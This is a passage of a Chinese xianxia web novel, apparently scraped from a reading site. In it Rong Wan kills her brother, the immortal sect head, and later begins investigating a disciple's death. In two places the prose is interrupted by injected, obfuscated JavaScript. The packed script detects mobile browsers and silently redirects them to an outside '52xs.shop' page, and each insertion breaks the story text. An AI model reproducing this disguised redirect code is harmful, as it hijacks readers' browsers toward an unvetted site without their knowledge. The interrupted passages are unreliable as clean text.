“这位公子,说话就说话,动什么刀枪啊。难道我们首座说错了?”九方莲笑眯眯地搭上夙昼的肩,冷声调笑:“公子什么都做了,还怕旁人说不成?” “果真是见不得人的东西。”容皓说。 仙雾缭绕间,似乎是上因宫朝会结束,仙官们顺着灵阶而下。 见到容皓时,他们稍显诧异,朝上因宫内望了望,眉毛皱那么一下,行礼问好:“首座。” 毕竟时才,首座仍在上因宫内,可分明又在此间待了许久。 路过容晚时,有年老的仙官皱着眉毛想了又想,良久后唤了一句上仙。 容晚看着并不熟识的脸,问:“仙长认识我?” “哪能,人老喽,这眼睛也不够用了。不过啊,您同上仙祠里那位,可真是相像。” 战神冢距离望春山不远,而望春山脚下,有一座上仙祠。上因界众仙没有人知道那是什么时候出现的,就好像一直存在着。 据说上仙祠中有一位身受天罚却未死去的上仙,为何身在上仙祠,没有人知道。 而那位上仙的容貌,无人见过。 偶有传闻,那一位是仙门首座的妻。 89. 方生方死 “她是谁?”容晚问。 这是望春山脚下的上仙祠,垂花门下悬挂牌匾,一尊白玉像倚在一只莲手法相上,姿态亲昵,眼眸紧闭。 任谁见过容晚,都能看出来那是谁。 容晚根本没想得到回答,话一问出口,银色阵光刺穿仙雾从她手中飞出,轰然砸向白玉像,碎玉尚未落地,便碎成了糜粉。 同玉像一起蹦碎的还有那虚无的灵位,那是她的名字,绝不该以那样的名义出现在上因。 “晚晚,那是你,我从不避讳,你又何必在意?”容皓踏过满地碎玉,“我们从来都是这样,只有彼此,我们该回家了。” “不是,从来都不是。”容晚说。 身为容氏小仙的容晚是有一位兄长容皓,他们互相扶持过很长一段时间。但容晚绝不是只拥有他。她有赏识自己的仙长,教她阵法符文的老师,同学同玩的好友。 确实很多年里,上因界提起容晚容皓都会说,那是曾经相依为命的一对小可怜。 后来容皓做了首座,容晚做了上仙,没人会再说他们可怜,对相依为命的过往也闭口不谈。 仅仅是旁人所说。 容晚从未说过,她只有容皓。固然那些过往于她是真,但时时刻刻她心中所有尽是回家的希望。 那尊写着容皓之妻的玉像绝不是她,更不能是她。 容皓拾起一块碎玉,他在浓重仙雾里低下头,对那个打碎一切的人说:“晚晚,哥哥只是想和你永远在一起。” “你知道我为什么让阿昼守在门外吗?”容晚垂下眼,颇为无奈道:“该做个了断了,我要杀你绝不能惊动整个上因。” “杀我?” “你还记得衡游吗?” “你为了他杀我?他的命不值一提,晚晚。” “你的命更重一些吗?还是我的?”容晚手中上因剑的虚影随风凝聚。 她明明这样在意的衡游的命,可为什么总是有人一而再再而三地说他的命不值一提,甚至逼着她认同他的命就是可有可无可生可死。 雪风吹散一地碎玉糜粉,容皓思考了许久,说:“你更重。” “那我们两命只能活一命,你选谁?”容晚抚着上因剑锋,眠龙紧闭的双眼早已挣开,竖瞳随着指尖而动。 “你——”容皓一怔,眸光里映着上仙祠内悬浮于空的数百盏烛火。他觉得自己好似被一剑穿心,眼眸里泛起淡淡的红。 那里面,似乎还有一层雾气。 “如你所愿,哥哥如你所愿,给你一次机会。” 满地碎玉化为剑影,剑锋至于眼前,容晚皱了下眉。 那道剑影由破碎残剑所聚,赫然是不晴剑。 那把碎了几千年的剑和望春山的雪一齐落下,两道剑锋相碰,掀起半个上仙祠。 乱石飞砖裹着阵印符文冲出望春山,惊动半个上因。 下一刻,金色光影铺天盖地,成千上万条符文缠绕住整座望春山,那些璀璨金光比天边霞光耀眼百倍,照得万物失去影子。 少有人知,仙门首座的阵法修习同上仙容晚难分胜负。但容皓心狠一些、手段毒一些,诡道禁阵落下来,容晚只会更加吃力。 纷乱剑光里,容皓的指尖微弯,金色阵印轮转,一切停滞,连望春山的雪风冷雾也被冻住。 那一瞬间,隐秘的诡道禁阵落下,隐入漫天的金色光影中,消散不见。 那是极快的一瞬,千钧一发之际的拼死一搏。 因为那一瞬里,容晚的剑落在了他心口,她杀了他,就这样杀了他。 “晚晚,你赢了。”容皓握着她的剑锋,上因剑上眠龙之眼冷然注视着他,他自嘲地笑了下,将掌间鲜血涂在龙身上。 那是从不属于他的首座之剑,在杀他之时,第一次冲容皓睁开双眼。 弑杀仙门首座,上因宫内灵钟长鸣。在刺耳的钟声里,容晚觉得脸上一片湿热。 她真的杀了他吗? 就这样容易。 真的吗? 她下意识闭紧双眼,等待着系统的违规通报。但迟迟唯有系统的声音。 金光散去,容晚还未抬眼,便落入一个温热的怀抱,他吻过她的额间,小心翼翼而又珍重。 “结束了么?”容晚眨着泪问。 “结束了。”夙昼告诉她。 但他知道——他没有忘记方才错看的那一幕,金光符文下暗墨色的诡道禁阵看似消散,实则汇聚向一个方向,指向一处地点。 那是人间,那是落落涧。 夙昼最后凝视一眼那个方向,眸光落在怀中人身上,守着她在一片狼藉里的浅眠。 - 那是穿进话本里的第一年。容晚孤零零地站在雪地里,她蜷缩着赤裸的脚趾,冻得不行。被容氏长辈处罚时,容皓趴在落满积雪的墙头,指尖轮转着为她暖身的灵咒。 年幼的他们灵力不强,他便陪着她一起受罚。 后来的许多年里,他们一同练剑修习,一同修炼,渐渐地两个人走向了相反面。是从容晚拜入仙祖门下开始的吗?还是她与褚尽欢交友时开始的,不知道。 她只记得容皓不许她去落乌,不许她和褚尽欢相处,不许她同衡游做朋友……许许多多条不许,她难以忍受,总是和他大吵一架,然后躲到仙祖洞府,或者褚尽欢那儿。 后来竟真的如他所愿,容晚和褚尽欢决裂,因为她在褚尽欢和容皓之间选择了容皓。那时候,是她第一次预感三界要开战了。 其实,在她被容皓下了致死量的安思丸时,她很生气,因为容皓的不信任。但她没有那么怨恨他,因为一路同行,她理解容皓对权位的在意。所以在那样的算计和欺骗之后,她在上因无法自处。 而落乌因为和褚尽欢闹掰,也不再欢迎她。 于是她躲去人间,去等话本故事开篇的那一年,然后每日每夜催促着日子,好让她可以回家。 说来好笑,她真正的家那时她才待过不到二十年。可就是那短短的二十年,那份被她刻在脑海里的回忆,叫她从不敢忘真正的家,而她真正是谁。 究竟是如何一步步走到今日的?她和容皓终是走到了今日。 他是她真正意义上第一个亲手所杀的人。 当年廊前雪停,她问他:“你会永远是我哥哥吗?不管我是谁,都会爱我护我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329089|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那时,她把自己放在穿书人的位置上。不去想他那个真正的妹妹该是谁,只是想抓住异世里少数的能抓的东西。 容皓怎么回答的,其实容晚记不清了,太久了,他似乎是在雪地里朝她走来,背她来,一步步赤足走回去。 那时她太累了,没听清他的回答。 容皓。 终于我们是走到今日。 我所在意之人一个个死在你手里,如何能不杀你。 - 望春山的雪经年不化,冷风铺面,容晚吹得清醒。她站在长长山道的起始处,过了片刻,抬起脚。 这里是望春山,当年容晚受封上仙时,亲选的属地。 这座终年落雪不化,冷到彻骨的山,是她悬于眼前心上的剑,提醒她此间一切不过是个话本故事,不可沉溺、不可沦陷。 而多年以后,她选择成为话本中人,开始违背系统的指令,为了此间三界谋划、为了此间苍生牺牲她一切可以牺牲的东西。 唯独夙昼,在她意料之外。 她知道他的心思,知道他想要从她身上求什么。可惜她那时给不了。 好在如今,她不必回头,便能听见身后那人的踏雪声。他顺着她的足迹,和她名正言顺地一起向前,走向他们的来日方长。 “大小姐,好冷。”褚扶光不知道为什么他们也要上山,不过他是愿意的。 “你只是觉得冷。我替你施过阵印,不会冷的。”容晚轻飘飘地声音落下来。 她忽然在山道上驻足,身后的人不可避免地拥住她,带着她晃了一下站稳。 “阿昼,对不起。”容晚回头说。 “嗯?” “那个时候,我忘记了凡人会冷,所以害你穿了好久的单衣。” 这一刻,忽然有一道雪风吹过,雪沫从数枝上纷纷而落,他们站在飞雪丛中,凝望着彼此的眼睛,眸光落在眼前人上久不流转。 容晚忽然想起当年四季繁花的桃林小院,淡淡的粉色自院墙漫向天边,好似永无尽头。她心中似有小鹿灵动地跳跃,又似是春间雀、夏时蝉、秋日枫、冬月风,心下唯他。 “啊?那公子没有被冻到吗?”褚扶光看着两人久不说话,他们不动,他站在积雪山道上,光是看着容晚和夙昼单薄的衣裳都觉得冷,当然,他自己也是单衣。 “冻到了吧。”容晚记得他在雪夜里决绝地离开望春山,赶去跳崖的那一夜里,风一吹,他整个人都是抖的。 “没有。”夙昼牵住容晚的手,掌间温热,顺着容晚的灵脉灌进来。 确实没有冻到。那时她赠予他一身金光乌血,磅礴灵气灌满灵脉的每一处,甚至让他难以平稳行走。 灵气汇入灵脉,热意不断,可惜那时他无求生之意,坠崖之后,还是死不了。 心如死灰间,他听见她的声音,好似做梦一般。再后来,她为了救他,同褚尽欢结了五指天道契。 起先对于这道契约,他认为是悬于头上的利刃,却没成想,后来在他们的交易之中。 这道契约留住了容晚的命。 以致于后来种种——那日灵台审判,他能留住她的命。 90. 不落仙乡 天道契,与天道结契,不可违逆。 容晚盯着夙昼指尖闪烁的光芒,甚是不解。 容皓死了,按理来说这个世界的一切变数都消失。不会有人再执着于三界共主,不会有人妄想打破这个世界,去他所以为的真正世界。 那为什么天道契没有消散? 容晚将夙昼隆起的衣袖替他拉下来,方才探查过他的灵脉没有什么异常。 “阿昼,”容晚像他从前摩挲自己那般,在他指腹处打着圈,“我们回人间去好不好,或者……” 夙昼沉默了许久,忽然抬起眼眸望她,眼中是淡淡的湿意。 “不愿意吗?”容晚垂下眼伤感了一息,忽然说:“那我陪你去夙州,不过我们要想想办法怎么恢复夙州原貌。” “我愿意的,只是……好像在您家里人眼里,我是那个抢婚的混账。哦——还有我们那位亲哥哥,他似乎看我很是不顺眼。”夙昼的嗓音顺着风声传来,有点模糊。 “这样啊。”容晚忽然闻到久违的柑橘酸涩味,捧起他的脸说:“那要不要你办一场婚礼,我抢回去?” “这是一回事吗?师父。”夙昼弯着眼睛,反握住容晚的手,“我们回人间去。” 他像几千年前一样回答,“我愿意,我愿意回您的家。” 彼时,他心有不忿,久别重逢的欣喜,和被她抹去记忆的委屈交织在一起。所幸,那年雪中血里,他心间,容晚站上风。 一如从前今时,爱意占上风。他愿意死在她手里,送她回家。其实他也不清楚,那是否是真实的,是否是褚尽欢用一段虚无的记忆来诈他。 纵然他心上见仇恨、高位、权势、灵力、生命,容晚站上风。容晚从来站上风。 于是当年那句心中默念,时隔数个春夏秋冬,落在容晚耳畔。 “我愿意和你回家,去回你的家。因为我早已没有家了。” 忽然,窝在灵火旁烤火的褚扶光补上一句,“我也愿意。要是、要是大小姐和公子没有家的话,也可以回我的家。” 他郑重地许诺,“我愿意。” “大小姐……”褚扶光沉默了片刻,“您能不能帮帮我!” 说着说着,褚扶光的眼泪糊了满脸,胡乱抹去,“我不能叫华秋死得不明不白,可是我什么也做不了,我什么也做不了。” 都怪他,都是因为他,他们才在那一天去了灵洞。平日里灵洞绝不会有弟子的。 那天,是他想要看一眼仙祖石像,想要许个修为大成的愿,求褚华秋和他一起去的。 “大小姐,他死了,我怎么办?我要怎么办?”褚扶光捂着脸,泪水顺着指缝滑下来,“我该怎么办?” “不哭。”容晚本是同夙昼相对而坐,听见哭声便同他挤在一侧,掌心轻拍着褚扶光的脊背。 他还太过年轻,遇上这种事心绪崩溃不难理解,至于褚华秋的死因,恐怕同容皓脱不了干系,但其间的经手人是谁,并不好说。总是要找出那个人的。 夙昼确实很难理解少年的眼泪,他好像很少哭。少有的几次眼泪也大多被容晚看了去。但小时候,他总是哭,孩童的眼泪没人比他更熟悉。眼前这小孩估计也是孩童之哭。 “想要的去争、去抢,做不到的更要去做,你抱着我师父哭,能哭什么?”夙昼讲话不留情面,做过许多年君主后更是直来直往,只是对着容晚向来是温和、讨笑的模样。 “争……我怎么争?”褚扶光红着眼睛抬眸,望见公子气势斐然的冷脸,吓得缩了一下。 “什么呀。”容晚在夙昼脸上轻轻拍了一下。 一瞬间,夙昼怔住,眼眸里泛起淡淡的红,他望向她问:“可我就是这么做的,一直以来都是这么做的,您不也是吗?” “那是因为我们不得不那样做,可小扶光不一样。”容晚指尖在夙昼眼下蹭了一下,“阿昼,从前我确实没能给你很多支持,但是我们现在有能力,更有责任,华秋的事情毕竟发生在落乌,还要仰仗你了,主上?” “您别这么唤我。”夙昼皱了下眉,指节一动,褚扶光起身走到软榻前,趴下,闭上双眼,深深睡过去。 “为什么?”容晚眸光飘向褚扶光,被夙昼安排的睡姿看起来的确不大舒服。 “不喜欢。”夙昼答。 “不喜欢什么?”容晚更是疑虑,这和他弄昏小扶光有什么关系。 雪日冷光顺着一览无余的窗户照进来,雪花随风稀稀拉拉地落在桌上,化去。 风吹来冷意,雪一片片落下,容晚颇有耐性地等他回答,也许……也许他们已经拥有了可以很长的一生。因为容皓已死,而抓到经手的那几人只会更加容易。 他们之间,不再有什么困难与隔阂了。 就是在这样一瞬间,夙昼的声音落下来,像春时雨前的一场惊鼓,砸开她的心门。 “我不喜欢您的疏离,再者……”夙昼扣紧了她的指缝,声音淡然随风,递了一道传音:“您无需仰仗我,因为我会听话。” 他炙热地望向她的眼睛,笑意弯眼尾,“我从来都只听您的话,不是吗?” - 从上因归来地属实有些狼狈。容晚不愿再想,她握着手中的上因剑,心如擂鼓。 “剑一定要跟着我跑,我其实真的想把剑留在上因的。”容晚饮了三盏春茶,倚在落乌那间最大的酒楼的窗棂上,茶盏在桌上扣了又扣。 “知道知道。”褚扶光扒着碗里的米饭声音含糊。 “知道。”小树盯着眼前的酒盏愣神。方才容晚给她自己斟茶,却递了两盏温酒给他和夙昼。一时之间,他不知喝与不喝,便犯了难。 “我……也知道。”夙昼端着酒盏转了又转,“上因剑历来只认首座,是不是剑还认您是仙门首座。” 褚扶光从饭碗里抬起头,“哇塞,仙首!” 容晚看着手中的剑,此时金光已然熄灭,和寻常剑没有什么区别。剑上所栖眠龙从未醒过,如今一双金光熠熠的大眼睛打着对眼儿,时时刻刻盯着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341205|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 伸手在龙眼前晃了晃,眠龙转动龙头,直至金光竖瞳对上容晚的眼睛,而其他人无从得见。 “这剑若真是丢不掉,还真是麻烦了。”容晚收了剑,豪迈痛饮一杯温酒,想要将心底莫名的惊惧压下。 “为什么?”褚扶光求学好问。 自从夙昼和他说过想要做的如何也要去做,他便改了性子,不再寡言,听到什么不懂的,遇到什么不知道的,抓到人就问。就连夙昼,哪怕他怕得不行,还是会准备好赠礼,请求夙昼审视他的剑招。 “因为剑丢不掉,就意味着关联仍在,而我同这把剑的关联——无非是容皓。剑在他手里那么多年,他做些手脚也很正常。”容晚说得仔细,既是在回答褚扶光,也是在脑中重新理一遍所有事,自从她回家以来的所有事。 人间太子明玄同薛辞一模一样地死去是在回家的第九年,是同夙昼重逢前。 顺着桃林寻到薛氏王陵,再跟着薛迢的指引前往灵洞,在那里见到阿弥,阿弥说一切要归于本位,那什么是本位? 事到如今,容晚确实依着阿弥所言,回到上因落乌、去往傀地、再见故人,而后再次分离……容晚惊恐地望向夙昼,他何曾不是她的故人,难道如今还要分离吗? “阿昼,别再离开我。”容晚轻声说,她并未意识到心中所想化成字句落在夙昼耳边。 手似乎被握住了,温热灵力顺着灵脉渡过来,他的唇落在她发间,呢喃也一齐落下来,“不离开,再不离开。” “什么?”容晚明知顾问,脸颊泛上的红应当是饮酒所致。她灌了口热茶,望向酒楼一层的厅堂。 他们是坐在二楼的。往一侧可看见落乌王城主道,另一侧门扇敞开,望过围栏,便将整座酒楼的来往妖魔收归眼底。 “没什么。”夙昼从不让她的落在地上,“等到他了?” “啊?谁?”褚扶光懵懂地抬起头。大小姐和公子默契非常,比他和华秋同吃同住的养成的墨麒还要更胜一筹。 “还记得那只吐了你满身口水的麒麟兽?”容晚问。 “记得啊。”褚扶光答道。 “我们想要弄明白华秋的事情,第一件事就是抓住它。”容晚指尖敲着桌面,她沉思时总会如此做。那只被关在金笼子里的麒麟兽她没有拿到,仅仅是落乌藏经殿的匆匆一面。 “大小姐没有给他下契约吗?我的灵兽呼呼和我有契约,他在哪里我都知道。”褚扶光自豪地说。 “以前有,现在没了。而且呢,他这只麒麟兽和普通灵兽不一样,他要是不愿意,谁都结不了契,我也是。”容晚的眸光始终落在酒楼门厅里匆匆而过、匆匆而去的纷扰人群。 容晚笃信,那只麒麟兽拥有了一位新主人。 听起来像是天方夜谭,除了她和褚尽欢就没认过第三个人的墨麒,会承认谁呢? 天幕被黑侵染,人群离去似是奔入暗黑的海。而一个戴着面具的熟悉身影,踏着夜的影子停在门前,缓缓抬眸,望向亭台楼上。